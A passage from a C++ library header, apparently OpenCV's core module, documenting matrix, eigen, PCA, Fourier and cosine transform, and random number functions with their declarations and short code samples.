\f[\texttt{dst} (I) = \texttt{m} \cdot [ \texttt{src} (I); 1]\f]
(when m.cols=src.channels()+1 )
Every element of the N -channel array src is interpreted as N -element
vector that is transformed using the M x N or M x (N+1) matrix m to
M-element vector - the corresponding element of the output array dst .
The function may be used for geometrical transformation of
N -dimensional points, arbitrary linear color space transformation (such
as various kinds of RGB to YUV transforms), shuffling the image
channels, and so forth.
@param src input array that must have as many channels (1 to 4) as
m.cols or m.cols-1.
@param dst output array of the same size and depth as src; it has as
many channels as m.rows.
@param m transformation 2x2 or 2x3 floating-point matrix.
@sa perspectiveTransform, getAffineTransform, estimateAffine2D, warpAffine, warpPerspective
*/
CV_EXPORTS_W void transform(InputArray src, OutputArray dst, InputArray m );
/** @brief Performs the perspective matrix transformation of vectors.
The function cv::perspectiveTransform transforms every element of src by
treating it as a 2D or 3D vector, in the following way:
\f[(x, y, z) \rightarrow (x'/w, y'/w, z'/w)\f]
where
\f[(x', y', z', w') = \texttt{mat} \cdot \begin{bmatrix} x & y & z & 1 \end{bmatrix}\f]
and
\f[w = \fork{w'}{if \(w' \ne 0\)}{\infty}{otherwise}\f]
Here a 3D vector transformation is shown. In case of a 2D vector
transformation, the z component is omitted.
@note The function transforms a sparse set of 2D or 3D vectors. If you
want to transform an image using perspective transformation, use
warpPerspective . If you have an inverse problem, that is, you want to
compute the most probable perspective transformation out of several
pairs of corresponding points, you can use getPerspectiveTransform or
findHomography .
@param src input two-channel or three-channel floating-point array; each
element is a 2D/3D vector to be transformed.
@param dst output array of the same size and type as src.
@param m 3x3 or 4x4 floating-point transformation matrix.
@sa transform, warpPerspective, getPerspectiveTransform, findHomography
*/
CV_EXPORTS_W void perspectiveTransform(InputArray src, OutputArray dst, InputArray m );
/** @brief Copies the lower or the upper half of a square matrix to its another half.
The function cv::completeSymm copies the lower or the upper half of a square matrix to
its another half. The matrix diagonal remains unchanged:
- \f$\texttt{m}_{ij}=\texttt{m}_{ji}\f$ for \f$i > j\f$ if
lowerToUpper=false
- \f$\texttt{m}_{ij}=\texttt{m}_{ji}\f$ for \f$i < j\f$ if
lowerToUpper=true
@param m input-output floating-point square matrix.
@param lowerToUpper operation flag; if true, the lower half is copied to
the upper half. Otherwise, the upper half is copied to the lower half.
@sa flip, transpose
*/
CV_EXPORTS_W void completeSymm(InputOutputArray m, bool lowerToUpper = false);
/** @brief Initializes a scaled identity matrix.
The function cv::setIdentity initializes a scaled identity matrix:
\f[\texttt{mtx} (i,j)= \fork{\texttt{value}}{ if \(i=j\)}{0}{otherwise}\f]
The function can also be emulated using the matrix initializers and the
matrix expressions:
@code
Mat A = Mat::eye(4, 3, CV_32F)*5;
// A will be set to [[5, 0, 0], [0, 5, 0], [0, 0, 5], [0, 0, 0]]
@endcode
@param mtx matrix to initialize (not necessarily square).
@param s value to assign to diagonal elements.
@sa Mat::zeros, Mat::ones, Mat::setTo, Mat::operator=
*/
CV_EXPORTS_W void setIdentity(InputOutputArray mtx, const Scalar& s = Scalar(1));
/** @brief Returns the determinant of a square floating-point matrix.
The function cv::determinant calculates and returns the determinant of the
specified matrix. For small matrices ( mtx.cols=mtx.rows\<=3 ), the
direct method is used. For larger matrices, the function uses LU
factorization with partial pivoting.
For symmetric positively-determined matrices, it is also possible to use
eigen decomposition to calculate the determinant.
@param mtx input matrix that must have CV_32FC1 or CV_64FC1 type and
square size.
@sa trace, invert, solve, eigen, @ref MatrixExpressions
*/
CV_EXPORTS_W double determinant(InputArray mtx);
/** @brief Returns the trace of a matrix.
The function cv::trace returns the sum of the diagonal elements of the
matrix mtx .
\f[\mathrm{tr} ( \texttt{mtx} ) = \sum _i \texttt{mtx} (i,i)\f]
@param mtx input matrix.
*/
CV_EXPORTS_W Scalar trace(InputArray mtx);
/** @brief Finds the inverse or pseudo-inverse of a matrix.
The function cv::invert inverts the matrix src and stores the result in dst
. When the matrix src is singular or non-square, the function calculates
the pseudo-inverse matrix (the dst matrix) so that norm(src\*dst - I) is
minimal, where I is an identity matrix.
In case of the #DECOMP_LU method, the function returns non-zero value if
the inverse has been successfully calculated and 0 if src is singular.
In case of the #DECOMP_SVD method, the function returns the inverse
condition number of src (the ratio of the smallest singular value to the
largest singular value) and 0 if src is singular. The SVD method
calculates a pseudo-inverse matrix if src is singular.
Similarly to #DECOMP_LU, the method #DECOMP_CHOLESKY works only with
non-singular square matrices that should also be symmetrical and
positively defined. In this case, the function stores the inverted
matrix in dst and returns non-zero. Otherwise, it returns 0.
@param src input floating-point M x N matrix.
@param dst output matrix of N x M size and the same type as src.
@param flags inversion method (cv::DecompTypes)
@sa solve, SVD
*/
CV_EXPORTS_W double invert(InputArray src, OutputArray dst, int flags = DECOMP_LU);
/** @brief Solves one or more linear systems or least-squares problems.
The function cv::solve solves a linear system or least-squares problem (the
latter is possible with SVD or QR methods, or by specifying the flag
#DECOMP_NORMAL ):
\f[\texttt{dst} = \arg \min _X \| \texttt{src1} \cdot \texttt{X} - \texttt{src2} \|\f]
If #DECOMP_LU or #DECOMP_CHOLESKY method is used, the function returns 1
if src1 (or \f$\texttt{src1}^T\texttt{src1}\f$ ) is non-singular. Otherwise,
it returns 0. In the latter case, dst is not valid. Other methods find a
pseudo-solution in case of a singular left-hand side part.
@note If you want to find a unity-norm solution of an under-defined
singular system \f$\texttt{src1}\cdot\texttt{dst}=0\f$ , the function solve
will not do the work. Use SVD::solveZ instead.
@param src1 input matrix on the left-hand side of the system.
@param src2 input matrix on the right-hand side of the system.
@param dst output solution.
@param flags solution (matrix inversion) method (#DecompTypes)
@sa invert, SVD, eigen
*/
CV_EXPORTS_W bool solve(InputArray src1, InputArray src2,
OutputArray dst, int flags = DECOMP_LU);
/** @brief Sorts each row or each column of a matrix.
The function cv::sort sorts each matrix row or each matrix column in
ascending or descending order. So you should pass two operation flags to
get desired behaviour. If you want to sort matrix rows or columns
lexicographically, you can use STL std::sort generic function with the
proper comparison predicate.
@param src input single-channel array.
@param dst output array of the same size and type as src.
@param flags operation flags, a combination of #SortFlags
@sa sortIdx, randShuffle
*/
CV_EXPORTS_W void sort(InputArray src, OutputArray dst, int flags);
/** @brief Sorts each row or each column of a matrix.
The function cv::sortIdx sorts each matrix row or each matrix column in the
ascending or descending order. So you should pass two operation flags to
get desired behaviour. Instead of reordering the elements themselves, it
stores the indices of sorted elements in the output array. For example:
@code
Mat A = Mat::eye(3,3,CV_32F), B;
sortIdx(A, B, SORT_EVERY_ROW + SORT_ASCENDING);
// B will probably contain
// (because of equal elements in A some permutations are possible):
// [[1, 2, 0], [0, 2, 1], [0, 1, 2]]
@endcode
@param src input single-channel array.
@param dst output integer array of the same size as src.
@param flags operation flags that could be a combination of cv::SortFlags
@sa sort, randShuffle
*/
CV_EXPORTS_W void sortIdx(InputArray src, OutputArray dst, int flags);
/** @brief Finds the real roots of a cubic equation.
The function solveCubic finds the real roots of a cubic equation:
- if coeffs is a 4-element vector:
\f[\texttt{coeffs} [0] x^3 + \texttt{coeffs} [1] x^2 + \texttt{coeffs} [2] x + \texttt{coeffs} [3] = 0\f]
- if coeffs is a 3-element vector:
\f[x^3 + \texttt{coeffs} [0] x^2 + \texttt{coeffs} [1] x + \texttt{coeffs} [2] = 0\f]
The roots are stored in the roots array.
@param coeffs equation coefficients, an array of 3 or 4 elements.
@param roots output array of real roots that has 1 or 3 elements.
@return number of real roots. It can be 0, 1 or 2.
*/
CV_EXPORTS_W int solveCubic(InputArray coeffs, OutputArray roots);
/** @brief Finds the real or complex roots of a polynomial equation.
The function cv::solvePoly finds real and complex roots of a polynomial equation:
\f[\texttt{coeffs} [n] x^{n} + \texttt{coeffs} [n-1] x^{n-1} + ... + \texttt{coeffs} [1] x + \texttt{coeffs} [0] = 0\f]
@param coeffs array of polynomial coefficients.
@param roots output (complex) array of roots.
@param maxIters maximum number of iterations the algorithm does.
*/
CV_EXPORTS_W double solvePoly(InputArray coeffs, OutputArray roots, int maxIters = 300);
/** @brief Calculates eigenvalues and eigenvectors of a symmetric matrix.
The function cv::eigen calculates just eigenvalues, or eigenvalues and eigenvectors of the symmetric
matrix src:
@code
src*eigenvectors.row(i).t() = eigenvalues.at<srcType>(i)*eigenvectors.row(i).t()
@endcode
@note Use cv::eigenNonSymmetric for calculation of real eigenvalues and eigenvectors of non-symmetric matrix.
@param src input matrix that must have CV_32FC1 or CV_64FC1 type, square size and be symmetrical
(src ^T^ == src).
@param eigenvalues output vector of eigenvalues of the same type as src; the eigenvalues are stored
in the descending order.
@param eigenvectors output matrix of eigenvectors; it has the same size and type as src; the
eigenvectors are stored as subsequent matrix rows, in the same order as the corresponding
eigenvalues.
@sa eigenNonSymmetric, completeSymm , PCA
*/
CV_EXPORTS_W bool eigen(InputArray src, OutputArray eigenvalues,
OutputArray eigenvectors = noArray());
/** @brief Calculates eigenvalues and eigenvectors of a non-symmetric matrix (real eigenvalues only).
@note Assumes real eigenvalues.
The function calculates eigenvalues and eigenvectors (optional) of the square matrix src:
@code
src*eigenvectors.row(i).t() = eigenvalues.at<srcType>(i)*eigenvectors.row(i).t()
@endcode
@param src input matrix (CV_32FC1 or CV_64FC1 type).
@param eigenvalues output vector of eigenvalues (type is the same type as src).
@param eigenvectors output matrix of eigenvectors (type is the same type as src). The eigenvectors are stored as subsequent matrix rows, in the same order as the corresponding eigenvalues.
@sa eigen
*/
CV_EXPORTS_W void eigenNonSymmetric(InputArray src, OutputArray eigenvalues,
OutputArray eigenvectors);
/** @brief Calculates the covariance matrix of a set of vectors.
The function cv::calcCovarMatrix calculates the covariance matrix and, optionally, the mean vector of
the set of input vectors.
@param samples samples stored as separate matrices
@param nsamples number of samples
@param covar output covariance matrix of the type ctype and square size.
@param mean input or output (depending on the flags) array as the average value of the input vectors.
@param flags operation flags as a combination of #CovarFlags
@param ctype type of the matrixl; it equals 'CV_64F' by default.
@sa PCA, mulTransposed, Mahalanobis
@todo InputArrayOfArrays
*/
CV_EXPORTS void calcCovarMatrix( const Mat* samples, int nsamples, Mat& covar, Mat& mean,
int flags, int ctype = CV_64F);
/** @overload
@note use #COVAR_ROWS or #COVAR_COLS flag
@param samples samples stored as rows/columns of a single matrix.
@param covar output covariance matrix of the type ctype and square size.
@param mean input or output (depending on the flags) array as the average value of the input vectors.
@param flags operation flags as a combination of #CovarFlags
@param ctype type of the matrixl; it equals 'CV_64F' by default.
*/
CV_EXPORTS_W void calcCovarMatrix( InputArray samples, OutputArray covar,
InputOutputArray mean, int flags, int ctype = CV_64F);
/** wrap PCA::operator() */
CV_EXPORTS_W void PCACompute(InputArray data, InputOutputArray mean,
OutputArray eigenvectors, int maxComponents = 0);
/** wrap PCA::operator() and add eigenvalues output parameter */
CV_EXPORTS_AS(PCACompute2) void PCACompute(InputArray data, InputOutputArray mean,
OutputArray eigenvectors, OutputArray eigenvalues,
int maxComponents = 0);
/** wrap PCA::operator() */
CV_EXPORTS_W void PCACompute(InputArray data, InputOutputArray mean,
OutputArray eigenvectors, double retainedVariance);
/** wrap PCA::operator() and add eigenvalues output parameter */
CV_EXPORTS_AS(PCACompute2) void PCACompute(InputArray data, InputOutputArray mean,
OutputArray eigenvectors, OutputArray eigenvalues,
double retainedVariance);
/** wrap PCA::project */
CV_EXPORTS_W void PCAProject(InputArray data, InputArray mean,
InputArray eigenvectors, OutputArray result);
/** wrap PCA::backProject */
CV_EXPORTS_W void PCABackProject(InputArray data, InputArray mean,
InputArray eigenvectors, OutputArray result);
/** wrap SVD::compute */
CV_EXPORTS_W void SVDecomp( InputArray src, OutputArray w, OutputArray u, OutputArray vt, int flags = 0 );
/** wrap SVD::backSubst */
CV_EXPORTS_W void SVBackSubst( InputArray w, InputArray u, InputArray vt,
InputArray rhs, OutputArray dst );
/** @brief Calculates the Mahalanobis distance between two vectors.
The function cv::Mahalanobis calculates and returns the weighted distance between two vectors:
\f[d( \texttt{vec1} , \texttt{vec2} )= \sqrt{\sum_{i,j}{\texttt{icovar(i,j)}\cdot(\texttt{vec1}(I)-\texttt{vec2}(I))\cdot(\texttt{vec1(j)}-\texttt{vec2(j)})} }\f]
The covariance matrix may be calculated using the #calcCovarMatrix function and then inverted using
the invert function (preferably using the #DECOMP_SVD method, as the most accurate).
@param v1 first 1D input vector.
@param v2 second 1D input vector.
@param icovar inverse covariance matrix.
*/
CV_EXPORTS_W double Mahalanobis(InputArray v1, InputArray v2, InputArray icovar);
/** @brief Performs a forward or inverse Discrete Fourier transform of a 1D or 2D floating-point array.
The function cv::dft performs one of the following:
- Forward the Fourier transform of a 1D vector of N elements:
\f[Y = F^{(N)} \cdot X,\f]
where \f$F^{(N)}_{jk}=\exp(-2\pi i j k/N)\f$ and \f$i=\sqrt{-1}\f$
- Inverse the Fourier transform of a 1D vector of N elements:
\f[\begin{array}{l} X'= \left (F^{(N)} \right )^{-1} \cdot Y = \left (F^{(N)} \right )^* \cdot y \\ X = (1/N) \cdot X, \end{array}\f]
where \f$F^*=\left(\textrm{Re}(F^{(N)})-\textrm{Im}(F^{(N)})\right)^T\f$
- Forward the 2D Fourier transform of a M x N matrix:
\f[Y = F^{(M)} \cdot X \cdot F^{(N)}\f]
- Inverse the 2D Fourier transform of a M x N matrix:
\f[\begin{array}{l} X'= \left (F^{(M)} \right )^* \cdot Y \cdot \left (F^{(N)} \right )^* \\ X = \frac{1}{M \cdot N} \cdot X' \end{array}\f]
In case of real (single-channel) data, the output spectrum of the forward Fourier transform or input
spectrum of the inverse Fourier transform can be represented in a packed format called *CCS*
(complex-conjugate-symmetrical). It was borrowed from IPL (Intel\* Image Processing Library). Here
is how 2D *CCS* spectrum looks:
\f[\begin{bmatrix} Re Y_{0,0} & Re Y_{0,1} & Im Y_{0,1} & Re Y_{0,2} & Im Y_{0,2} & \cdots & Re Y_{0,N/2-1} & Im Y_{0,N/2-1} & Re Y_{0,N/2} \\ Re Y_{1,0} & Re Y_{1,1} & Im Y_{1,1} & Re Y_{1,2} & Im Y_{1,2} & \cdots & Re Y_{1,N/2-1} & Im Y_{1,N/2-1} & Re Y_{1,N/2} \\ Im Y_{1,0} & Re Y_{2,1} & Im Y_{2,1} & Re Y_{2,2} & Im Y_{2,2} & \cdots & Re Y_{2,N/2-1} & Im Y_{2,N/2-1} & Im Y_{1,N/2} \\ \hdotsfor{9} \\ Re Y_{M/2-1,0} & Re Y_{M-3,1} & Im Y_{M-3,1} & \hdotsfor{3} & Re Y_{M-3,N/2-1} & Im Y_{M-3,N/2-1}& Re Y_{M/2-1,N/2} \\ Im Y_{M/2-1,0} & Re Y_{M-2,1} & Im Y_{M-2,1} & \hdotsfor{3} & Re Y_{M-2,N/2-1} & Im Y_{M-2,N/2-1}& Im Y_{M/2-1,N/2} \\ Re Y_{M/2,0} & Re Y_{M-1,1} & Im Y_{M-1,1} & \hdotsfor{3} & Re Y_{M-1,N/2-1} & Im Y_{M-1,N/2-1}& Re Y_{M/2,N/2} \end{bmatrix}\f]
In case of 1D transform of a real vector, the output looks like the first row of the matrix above.
So, the function chooses an operation mode depending on the flags and size of the input array:
- If #DFT_ROWS is set or the input array has a single row or single column, the function
performs a 1D forward or inverse transform of each row of a matrix when #DFT_ROWS is set.
Otherwise, it performs a 2D transform.
- If the input array is real and #DFT_INVERSE is not set, the function performs a forward 1D or
2D transform:
- When #DFT_COMPLEX_OUTPUT is set, the output is a complex matrix of the same size as
input.
- When #DFT_COMPLEX_OUTPUT is not set, the output is a real matrix of the same size as
input. In case of 2D transform, it uses the packed format as shown above. In case of a
single 1D transform, it looks like the first row of the matrix above. In case of
multiple 1D transforms (when using the #DFT_ROWS flag), each row of the output matrix
looks like the first row of the matrix above.
- If the input array is complex and either #DFT_INVERSE or #DFT_REAL_OUTPUT are not set, the
output is a complex array of the same size as input. The function performs a forward or
inverse 1D or 2D transform of the whole input array or each row of the input array
independently, depending on the flags DFT_INVERSE and DFT_ROWS.
- When #DFT_INVERSE is set and the input array is real, or it is complex but #DFT_REAL_OUTPUT
is set, the output is a real array of the same size as input. The function performs a 1D or 2D
inverse transformation of the whole input array or each individual row, depending on the flags
#DFT_INVERSE and #DFT_ROWS.
If #DFT_SCALE is set, the scaling is done after the transformation.
Unlike dct , the function supports arrays of arbitrary size. But only those arrays are processed
efficiently, whose sizes can be factorized in a product of small prime numbers (2, 3, and 5 in the
current implementation). Such an efficient DFT size can be calculated using the getOptimalDFTSize
method.
The sample below illustrates how to calculate a DFT-based convolution of two 2D real arrays:
@code
void convolveDFT(InputArray A, InputArray B, OutputArray C)
{
// reallocate the output array if needed
C.create(abs(A.rows - B.rows)+1, abs(A.cols - B.cols)+1, A.type());
Size dftSize;
// calculate the size of DFT transform
dftSize.width = getOptimalDFTSize(A.cols + B.cols - 1);
dftSize.height = getOptimalDFTSize(A.rows + B.rows - 1);
// allocate temporary buffers and initialize them with 0's
Mat tempA(dftSize, A.type(), Scalar::all(0));
Mat tempB(dftSize, B.type(), Scalar::all(0));
// copy A and B to the top-left corners of tempA and tempB, respectively
Mat roiA(tempA, Rect(0,0,A.cols,A.rows));
A.copyTo(roiA);
Mat roiB(tempB, Rect(0,0,B.cols,B.rows));
B.copyTo(roiB);
// now transform the padded A & B in-place;
// use "nonzeroRows" hint for faster processing
dft(tempA, tempA, 0, A.rows);
dft(tempB, tempB, 0, B.rows);
// multiply the spectrums;
// the function handles packed spectrum representations well
mulSpectrums(tempA, tempB, tempA);
// transform the product back from the frequency domain.
// Even though all the result rows will be non-zero,
// you need only the first C.rows of them, and thus you
// pass nonzeroRows == C.rows
dft(tempA, tempA, DFT_INVERSE + DFT_SCALE, C.rows);
// now copy the result back to C.
tempA(Rect(0, 0, C.cols, C.rows)).copyTo(C);
// all the temporary buffers will be deallocated automatically
}
@endcode
To optimize this sample, consider the following approaches:
- Since nonzeroRows != 0 is passed to the forward transform calls and since A and B are copied to
the top-left corners of tempA and tempB, respectively, it is not necessary to clear the whole
tempA and tempB. It is only necessary to clear the tempA.cols - A.cols ( tempB.cols - B.cols)
rightmost columns of the matrices.
- This DFT-based convolution does not have to be applied to the whole big arrays, especially if B
is significantly smaller than A or vice versa. Instead, you can calculate convolution by parts.
To do this, you need to split the output array C into multiple tiles. For each tile, estimate
which parts of A and B are required to calculate convolution in this tile. If the tiles in C are
too small, the speed will decrease a lot because of repeated work. In the ultimate case, when
each tile in C is a single pixel, the algorithm becomes equivalent to the naive convolution
algorithm. If the tiles are too big, the temporary arrays tempA and tempB become too big and
there is also a slowdown because of bad cache locality. So, there is an optimal tile size
somewhere in the middle.
- If different tiles in C can be calculated in parallel and, thus, the convolution is done by
parts, the loop can be threaded.
All of the above improvements have been implemented in #matchTemplate and #filter2D . Therefore, by
using them, you can get the performance even better than with the above theoretically optimal
implementation. Though, those two functions actually calculate cross-correlation, not convolution,
so you need to "flip" the second convolution operand B vertically and horizontally using flip .
@note
- An example using the discrete fourier transform can be found at
opencv_source_code/samples/cpp/dft.cpp
- (Python) An example using the dft functionality to perform Wiener deconvolution can be found
at opencv_source/samples/python/deconvolution.py
- (Python) An example rearranging the quadrants of a Fourier image can be found at
opencv_source/samples/python/dft.py
@param src input array that could be real or complex.
@param dst output array whose size and type depends on the flags .
@param flags transformation flags, representing a combination of the #DftFlags
@param nonzeroRows when the parameter is not zero, the function assumes that only the first
nonzeroRows rows of the input array (#DFT_INVERSE is not set) or only the first nonzeroRows of the
output array (#DFT_INVERSE is set) contain non-zeros, thus, the function can handle the rest of the
rows more efficiently and save some time; this technique is very useful for calculating array
cross-correlation or convolution using DFT.
@sa dct , getOptimalDFTSize , mulSpectrums, filter2D , matchTemplate , flip , cartToPolar ,
magnitude , phase
*/
CV_EXPORTS_W void dft(InputArray src, OutputArray dst, int flags = 0, int nonzeroRows = 0);
/** @brief Calculates the inverse Discrete Fourier Transform of a 1D or 2D array.
idft(src, dst, flags) is equivalent to dft(src, dst, flags | #DFT_INVERSE) .
@note None of dft and idft scales the result by default. So, you should pass #DFT_SCALE to one of
dft or idft explicitly to make these transforms mutually inverse.
@sa dft, dct, idct, mulSpectrums, getOptimalDFTSize
@param src input floating-point real or complex array.
@param dst output array whose size and type depend on the flags.
@param flags operation flags (see dft and #DftFlags).
@param nonzeroRows number of dst rows to process; the rest of the rows have undefined content (see
the convolution sample in dft description.
*/
CV_EXPORTS_W void idft(InputArray src, OutputArray dst, int flags = 0, int nonzeroRows = 0);
/** @brief Performs a forward or inverse discrete Cosine transform of 1D or 2D array.
The function cv::dct performs a forward or inverse discrete Cosine transform (DCT) of a 1D or 2D
floating-point array:
- Forward Cosine transform of a 1D vector of N elements:
\f[Y = C^{(N)} \cdot X\f]
where
\f[C^{(N)}_{jk}= \sqrt{\alpha_j/N} \cos \left ( \frac{\pi(2k+1)j}{2N} \right )\f]
and
\f$\alpha_0=1\f$, \f$\alpha_j=2\f$ for *j \> 0*.
- Inverse Cosine transform of a 1D vector of N elements:
\f[X = \left (C^{(N)} \right )^{-1} \cdot Y = \left (C^{(N)} \right )^T \cdot Y\f]
(since \f$C^{(N)}\f$ is an orthogonal matrix, \f$C^{(N)} \cdot \left(C^{(N)}\right)^T = I\f$ )
- Forward 2D Cosine transform of M x N matrix:
\f[Y = C^{(N)} \cdot X \cdot \left (C^{(N)} \right )^T\f]
- Inverse 2D Cosine transform of M x N matrix:
\f[X = \left (C^{(N)} \right )^T \cdot X \cdot C^{(N)}\f]
The function chooses the mode of operation by looking at the flags and size of the input array:
- If (flags & #DCT_INVERSE) == 0 , the function does a forward 1D or 2D transform. Otherwise, it
is an inverse 1D or 2D transform.
- If (flags & #DCT_ROWS) != 0 , the function performs a 1D transform of each row.
- If the array is a single column or a single row, the function performs a 1D transform.
- If none of the above is true, the function performs a 2D transform.
@note Currently dct supports even-size arrays (2, 4, 6 ...). For data analysis and approximation, you
can pad the array when necessary.
Also, the function performance depends very much, and not monotonically, on the array size (see
getOptimalDFTSize ). In the current implementation DCT of a vector of size N is calculated via DFT
of a vector of size N/2 . Thus, the optimal DCT size N1 \>= N can be calculated as:
@code
size_t getOptimalDCTSize(size_t N) { return 2*getOptimalDFTSize((N+1)/2); }
N1 = getOptimalDCTSize(N);
@endcode
@param src input floating-point array.
@param dst output array of the same size and type as src .
@param flags transformation flags as a combination of cv::DftFlags (DCT_*)
@sa dft , getOptimalDFTSize , idct
*/
CV_EXPORTS_W void dct(InputArray src, OutputArray dst, int flags = 0);
/** @brief Calculates the inverse Discrete Cosine Transform of a 1D or 2D array.
idct(src, dst, flags) is equivalent to dct(src, dst, flags | DCT_INVERSE).
@param src input floating-point single-channel array.
@param dst output array of the same size and type as src.
@param flags operation flags.
@sa dct, dft, idft, getOptimalDFTSize
*/
CV_EXPORTS_W void idct(InputArray src, OutputArray dst, int flags = 0);
/** @brief Performs the per-element multiplication of two Fourier spectrums.
The function cv::mulSpectrums performs the per-element multiplication of the two CCS-packed or complex
matrices that are results of a real or complex Fourier transform.
The function, together with dft and idft , may be used to calculate convolution (pass conjB=false )
or correlation (pass conjB=true ) of two arrays rapidly. When the arrays are complex, they are
simply multiplied (per element) with an optional conjugation of the second-array elements. When the
arrays are real, they are assumed to be CCS-packed (see dft for details).
@param a first input array.
@param b second input array of the same size and type as src1 .
@param c output array of the same size and type as src1 .
@param flags operation flags; currently, the only supported flag is cv::DFT_ROWS, which indicates that
each row of src1 and src2 is an independent 1D Fourier spectrum. If you do not want to use this flag, then simply add a `0` as value.
@param conjB optional flag that conjugates the second input array before the multiplication (true)
or not (false).
*/
CV_EXPORTS_W void mulSpectrums(InputArray a, InputArray b, OutputArray c,
int flags, bool conjB = false);
/** @brief Returns the optimal DFT size for a given vector size.
DFT performance is not a monotonic function of a vector size. Therefore, when you calculate
convolution of two arrays or perform the spectral analysis of an array, it usually makes sense to
pad the input data with zeros to get a bit larger array that can be transformed much faster than the
original one. Arrays whose size is a power-of-two (2, 4, 8, 16, 32, ...) are the fastest to process.
Though, the arrays whose size is a product of 2's, 3's, and 5's (for example, 300 = 5\*5\*3\*2\*2)
are also processed quite efficiently.
The function cv::getOptimalDFTSize returns the minimum number N that is greater than or equal to vecsize
so that the DFT of a vector of size N can be processed efficiently. In the current implementation N
= 2 ^p^ \* 3 ^q^ \* 5 ^r^ for some integer p, q, r.
The function returns a negative number if vecsize is too large (very close to INT_MAX ).
While the function cannot be used directly to estimate the optimal vector size for DCT transform
(since the current DCT implementation supports only even-size vectors), it can be easily processed
as getOptimalDFTSize((vecsize+1)/2)\*2.
@param vecsize vector size.
@sa dft , dct , idft , idct , mulSpectrums
*/
CV_EXPORTS_W int getOptimalDFTSize(int vecsize);
/** @brief Returns the default random number generator.
The function cv::theRNG returns the default random number generator. For each thread, there is a
separate random number generator, so you can use the function safely in multi-thread environments.
If you just need to get a single random number using this generator or initialize an array, you can
use randu or randn instead. But if you are going to generate many random numbers inside a loop, it
is much faster to use this function to retrieve the generator and then use RNG::operator _Tp() .
@sa RNG, randu, randn
*/
CV_EXPORTS RNG& theRNG();
/** @brief Sets state of default random number generator.
The function cv::setRNGSeed sets state of default random number generator to custom value.
@param seed new state for default random number generator
@sa RNG, randu, randn
*/
CV_EXPORTS_W void setRNGSeed(int seed);
/** @brief Generates a single uniformly-distributed random number or an array of random numbers.
Non-template variant of the function fills the matrix dst with uniformly-distributed
random numbers from the specified range:
\f[\texttt{low} _c \leq \texttt{dst} (I)_c < \texttt{high} _c\f]
@param dst output array of random numbers; the array must be pre-allocated.
@param low inclusive lower boundary of the generated random numbers.
@param high exclusive upper boundary of the generated random numbers.
@sa RNG, randn, theRNG
*/
CV_EXPORTS_W void randu(InputOutputArray dst, InputArray low, InputArray high);
/** @brief Fills the array with normally distributed random numbers.
The function cv::randn fills the matrix dst with normally distributed random numbers with the specified
mean vector and the standard deviation matrix. The generated random numbers are clipped to fit the
value range of the output array data type.
@param dst output array of random numbers; the array must be pre-allocated and have 1 to 4 channels.
@param mean mean value (expectation) of the generated random numbers.
@param stddev standard deviation of the generated random numbers; it can be either a vector (in
which case a diagonal standard deviation matrix is assumed) or a square matrix.
@sa RNG, randu
*/
CV_EXPORTS_W void randn(InputOutputArray dst, InputArray mean, InputArray stddev);
/** @brief Shuffles the array elements randomly.
The function cv::randShuffle shuffles the specified 1D array by randomly choosing pairs of elements and
swapping them. The number of such swap operations will be dst.rows\*dst.cols\*iterFactor .
@param dst input/output numerical 1D array.
@param iterFactor scale factor that determines the number of random swap operations (see the details
below).
@param rng optional random number generator used for shuffling; if it is zero, theRNG () is used
instead.
@sa RNG, sort
*/
CV_EXPORTS_W void randShuffle(InputOutputArray dst, double iterFactor = 1., RNG* rng = 0);
/** @brief Principal Component Analysis
The class is used to calculate a special basis for a set of vectors. The
basis will consist of eigenvectors of the covariance matrix calculated
from the input set of vectors. The class %PCA can also transform
vectors to/from the new coordinate space defined by the basis. Usually,
in this new coordinate system, each vector from the original set (and
any linear combination of such vectors) can be quite accurately
approximated by taking its first few components, corresponding to the
eigenvectors of the largest eigenvalues of the covariance matrix.
Geometrically it means that you calculate a projection of the vector to
a subspace formed by a few eigenvectors corresponding to the dominant
eigenvalues of the covariance matrix. And usually such a projection is
very close to the original vector. So, you can represent the original
vector from a high-dimensional space with a much shorter vector
consisting of the projected vector's coordinates in the subspace. Such a
transformation is also known as Karhunen-Loeve Transform, or KLT.
See http://en.wikipedia.org/wiki/Principal_component_analysis
The sample below is the function that takes two matrices. The first
function stores a set of vectors (a row per vector) that is used to
calculate PCA. The second function stores another "test" set of vectors
(a row per vector). First, these vectors are compressed with PCA, then
reconstructed back, and then the reconstruction error norm is computed
and printed for each vector. :
@code{.cpp}
using namespace cv;
PCA compressPCA(const Mat& pcaset, int maxComponents,
const Mat& testset, Mat& compressed)
{
PCA pca(pcaset, // pass the data
Mat(), // we do not have a pre-computed mean vector,
// so let the PCA engine to compute it
PCA::DATA_AS_ROW, // indicate that the vectors
// are stored as matrix rows
// (use PCA::DATA_AS_COL if the vectors are
// the matrix columns)
maxComponents // specify, how many principal components to retain
);
// if there is no test data, just return the computed basis, ready-to-use
if( !testset.data )
return pca;
CV_Assert( testset.cols == pcaset.cols );
compressed.create(testset.rows, maxComponents, testset.type());
Mat reconstructed;
for( int i = 0; i < testset.rows; i++ )
{
Mat vec = testset.row(i), coeffs = compressed.row(i), reconstructed;
// compress the vector, the result will be stored
// in the i-th row of the output matrix
pca.project(vec, coeffs);
// and then reconstruct it
pca.backProject(coeffs, reconstructed);
// and measure the error
printf("%d. diff = %g\n", i, norm(vec, reconstructed, NORM_L2));
}
return pca;
}
@endcode
@sa calcCovarMatrix, mulTransposed, SVD, dft, dct
*/
class CV_EXPORTS PCA
{
public:
enum Flags { DATA_AS_ROW = 0, //!< indicates that the input samples are stored as matrix rows
DATA_AS_COL = 1, //!< indicates that the input samples are stored as matrix columns
USE_AVG = 2 //!
};
/** @brief default constructor
The default constructor initializes an empty %PCA structure. The other
constructors initialize the structure and call PCA::operator()().
*/
PCA();
/** @overload
@param data input samples stored as matrix rows or matrix columns.
@param mean optional mean value; if the matrix is empty (@c noArray()),
the mean is computed from the data.
@param flags operation flags; currently the parameter is only used to
specify the data layout (PCA::Flags)
@param maxComponents maximum number of components that %PCA should
retain; by default, all the components are retained.
*/
PCA(InputArray data, InputArray mean, int flags, int maxComponents = 0);
/** @overload
@param data input samples stored as matrix rows or matrix columns.
@param mean optional mean value; if the matrix is empty (noArray()),
the mean is computed from the data.
@param flags operation flags; currently the parameter is only used to
specify the data layout (PCA::Flags)
@param retainedVariance Percentage of variance that PCA should retain.
Using this parameter will let the PCA decided how many components to
retain but it will always keep at least 2.
*/
PCA(InputArray data, InputArray mean, int flags, double retainedVariance);
/** @brief performs %PCA
The operator performs %PCA of the supplied dataset. It is safe to reuse
the same PCA structure for multiple datasets. That is, if the structure
has been previously used with another dataset, the existing internal
